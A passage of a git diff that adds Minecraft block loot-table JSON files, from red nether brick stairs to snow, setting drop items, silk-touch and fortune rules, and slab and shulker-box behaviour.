b/src/data/minecraft/loot_tables/blocks/red_nether_brick_stairs.json new file mode 100644 index 00000000..6f1b92d4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_nether_brick_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_nether_brick_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_nether_brick_wall.json b/src/data/minecraft/loot_tables/blocks/red_nether_brick_wall.json new file mode 100644 index 00000000..a20700db --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_nether_brick_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_nether_brick_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_nether_bricks.json b/src/data/minecraft/loot_tables/blocks/red_nether_bricks.json new file mode 100644 index 00000000..345f96d8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_nether_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_nether_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_sand.json b/src/data/minecraft/loot_tables/blocks/red_sand.json new file mode 100644 index 00000000..e8100dd4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_sand.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_sand" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_sandstone.json b/src/data/minecraft/loot_tables/blocks/red_sandstone.json new file mode 100644 index 00000000..d27b14bb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_sandstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_sandstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_sandstone_slab.json b/src/data/minecraft/loot_tables/blocks/red_sandstone_slab.json new file mode 100644 index 00000000..53cc0f46 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:red_sandstone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:red_sandstone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_sandstone_stairs.json b/src/data/minecraft/loot_tables/blocks/red_sandstone_stairs.json new file mode 100644 index 00000000..3fbcf248 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_sandstone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_sandstone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_sandstone_wall.json b/src/data/minecraft/loot_tables/blocks/red_sandstone_wall.json new file mode 100644 index 00000000..811e9b71 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_sandstone_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_sandstone_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_shulker_box.json b/src/data/minecraft/loot_tables/blocks/red_shulker_box.json new file mode 100644 index 00000000..9c307cd0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:red_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_stained_glass.json b/src/data/minecraft/loot_tables/blocks/red_stained_glass.json new file mode 100644 index 00000000..742e1c6f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/red_stained_glass_pane.json new file mode 100644 index 00000000..0cbdc99e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_terracotta.json b/src/data/minecraft/loot_tables/blocks/red_terracotta.json new file mode 100644 index 00000000..62e1082e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_tulip.json b/src/data/minecraft/loot_tables/blocks/red_tulip.json new file mode 100644 index 00000000..c964c0b1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_tulip.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_tulip" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_wool.json b/src/data/minecraft/loot_tables/blocks/red_wool.json new file mode 100644 index 00000000..1a767667 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/redstone_block.json b/src/data/minecraft/loot_tables/blocks/redstone_block.json new file mode 100644 index 00000000..732e4f68 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/redstone_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:redstone_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/redstone_lamp.json b/src/data/minecraft/loot_tables/blocks/redstone_lamp.json new file mode 100644 index 00000000..643481e8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/redstone_lamp.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:redstone_lamp" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/redstone_ore.json b/src/data/minecraft/loot_tables/blocks/redstone_ore.json new file mode 100644 index 00000000..b29083fb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/redstone_ore.json @@ -0,0 +1,59 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:redstone_ore" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 5.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 1 + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:redstone" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/redstone_torch.json b/src/data/minecraft/loot_tables/blocks/redstone_torch.json new file mode 100644 index 00000000..cbdbd2b3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/redstone_torch.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:redstone_torch" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/redstone_wire.json b/src/data/minecraft/loot_tables/blocks/redstone_wire.json new file mode 100644 index 00000000..65f5ee9f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/redstone_wire.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:redstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/repeater.json b/src/data/minecraft/loot_tables/blocks/repeater.json new file mode 100644 index 00000000..451fba25 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/repeater.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:repeater" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/respawn_anchor.json b/src/data/minecraft/loot_tables/blocks/respawn_anchor.json new file mode 100644 index 00000000..7516db8b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/respawn_anchor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:respawn_anchor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/rose_bush.json b/src/data/minecraft/loot_tables/blocks/rose_bush.json new file mode 100644 index 00000000..738bed21 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/rose_bush.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:rose_bush", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:rose_bush" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sand.json b/src/data/minecraft/loot_tables/blocks/sand.json new file mode 100644 index 00000000..ade838ed --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sand.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sand" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sandstone.json b/src/data/minecraft/loot_tables/blocks/sandstone.json new file mode 100644 index 00000000..a93f9f33 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sandstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sandstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sandstone_slab.json b/src/data/minecraft/loot_tables/blocks/sandstone_slab.json new file mode 100644 index 00000000..d7270577 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:sandstone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:sandstone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sandstone_stairs.json b/src/data/minecraft/loot_tables/blocks/sandstone_stairs.json new file mode 100644 index 00000000..50d2d0a3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sandstone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sandstone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sandstone_wall.json b/src/data/minecraft/loot_tables/blocks/sandstone_wall.json new file mode 100644 index 00000000..ffe98d20 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sandstone_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sandstone_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/scaffolding.json b/src/data/minecraft/loot_tables/blocks/scaffolding.json new file mode 100644 index 00000000..d26dda31 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/scaffolding.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:scaffolding" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sea_lantern.json b/src/data/minecraft/loot_tables/blocks/sea_lantern.json new file mode 100644 index 00000000..f38a74e6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sea_lantern.json @@ -0,0 +1,66 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:sea_lantern" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 1 + } + }, + { + "function": "minecraft:limit_count", + "limit": { + "max": 5, + "min": 1 + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:prismarine_crystals" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sea_pickle.json b/src/data/minecraft/loot_tables/blocks/sea_pickle.json new file mode 100644 index 00000000..320e9a30 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sea_pickle.json @@ -0,0 +1,58 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:sea_pickle", + "properties": { + "pickles": "2" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:sea_pickle", + "properties": { + "pickles": "3" + } + } + ], + "count": 3 + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:sea_pickle", + "properties": { + "pickles": "4" + } + } + ], + "count": 4 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:sea_pickle" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/seagrass.json b/src/data/minecraft/loot_tables/blocks/seagrass.json new file mode 100644 index 00000000..d9464269 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/seagrass.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:seagrass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/shroomlight.json b/src/data/minecraft/loot_tables/blocks/shroomlight.json new file mode 100644 index 00000000..8cc13dbf --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/shroomlight.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:shroomlight" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/shulker_box.json b/src/data/minecraft/loot_tables/blocks/shulker_box.json new file mode 100644 index 00000000..2449b865 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/skeleton_skull.json b/src/data/minecraft/loot_tables/blocks/skeleton_skull.json new file mode 100644 index 00000000..35c4f770 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/skeleton_skull.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:skeleton_skull" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/slime_block.json b/src/data/minecraft/loot_tables/blocks/slime_block.json new file mode 100644 index 00000000..34f60133 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/slime_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:slime_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smithing_table.json b/src/data/minecraft/loot_tables/blocks/smithing_table.json new file mode 100644 index 00000000..f2f996fc --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smithing_table.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:smithing_table" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smoker.json b/src/data/minecraft/loot_tables/blocks/smoker.json new file mode 100644 index 00000000..fb76c3f2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smoker.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:smoker" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_quartz.json b/src/data/minecraft/loot_tables/blocks/smooth_quartz.json new file mode 100644 index 00000000..78430654 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_quartz.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:smooth_quartz" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_quartz_slab.json b/src/data/minecraft/loot_tables/blocks/smooth_quartz_slab.json new file mode 100644 index 00000000..8a597d1e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_quartz_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:smooth_quartz_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:smooth_quartz_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_quartz_stairs.json b/src/data/minecraft/loot_tables/blocks/smooth_quartz_stairs.json new file mode 100644 index 00000000..155bde0f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_quartz_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:smooth_quartz_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone.json b/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone.json new file mode 100644 index 00000000..b34796f8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:smooth_red_sandstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone_slab.json b/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone_slab.json new file mode 100644 index 00000000..604e0715 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:smooth_red_sandstone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:smooth_red_sandstone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone_stairs.json b/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone_stairs.json new file mode 100644 index 00000000..e179b804 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_red_sandstone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:smooth_red_sandstone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_sandstone.json b/src/data/minecraft/loot_tables/blocks/smooth_sandstone.json new file mode 100644 index 00000000..d39ce4f1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_sandstone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:smooth_sandstone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_sandstone_slab.json b/src/data/minecraft/loot_tables/blocks/smooth_sandstone_slab.json new file mode 100644 index 00000000..3bc9072a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_sandstone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:smooth_sandstone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:smooth_sandstone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_sandstone_stairs.json b/src/data/minecraft/loot_tables/blocks/smooth_sandstone_stairs.json new file mode 100644 index 00000000..f32eb5c8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_sandstone_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:smooth_sandstone_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_stone.json b/src/data/minecraft/loot_tables/blocks/smooth_stone.json new file mode 100644 index 00000000..5da0a944 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_stone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:smooth_stone" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/smooth_stone_slab.json b/src/data/minecraft/loot_tables/blocks/smooth_stone_slab.json new file mode 100644 index 00000000..4de59692 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/smooth_stone_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:smooth_stone_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:smooth_stone_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/snow.json b/src/data/minecraft/loot_tables/blocks/snow.json new file mode 100644 index 00000000..4e1d507a --- /dev/null 